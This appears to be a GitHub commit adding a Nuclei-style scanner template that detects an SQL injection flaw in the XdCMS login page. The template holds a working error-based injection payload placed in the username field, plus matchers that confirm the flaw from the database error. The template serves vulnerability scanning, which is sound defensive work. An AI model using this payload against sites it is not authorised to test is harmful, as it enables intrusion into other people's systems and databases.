Create xdcms-sqli.yaml

patch-1
PikPikcU 2021-03-21 10:15:44 +00:00 committed by GitHub
parent 7de970baba
commit 7674824c98
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 36 additions and 0 deletions

View File

@ -0,0 +1,36 @@
id: xdcms-sqli
info:
name: XdCMS SQL Injection
author: pikpikcu
severity: high
reference: https://www.uedbox.com/post/35188/
tags: sqli,xdcms
requests:
- method: POST
path:
- "{{BaseURL}}/index.php?m=member&f=login_save"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
username=dd' or extractvalue(0x0a,concat(0x0a,810663301*872821376))#&password=dd&submit=+%B5%C7+%C2%BC+
matchers-condition: and
matchers:
- type: word
words:
- "Content-Type: text/html"
part: header
- type: word
words:
- "707564257851522176"
- "XPATH syntax error:"
part: body
condition: and
- type: status
status:
- 200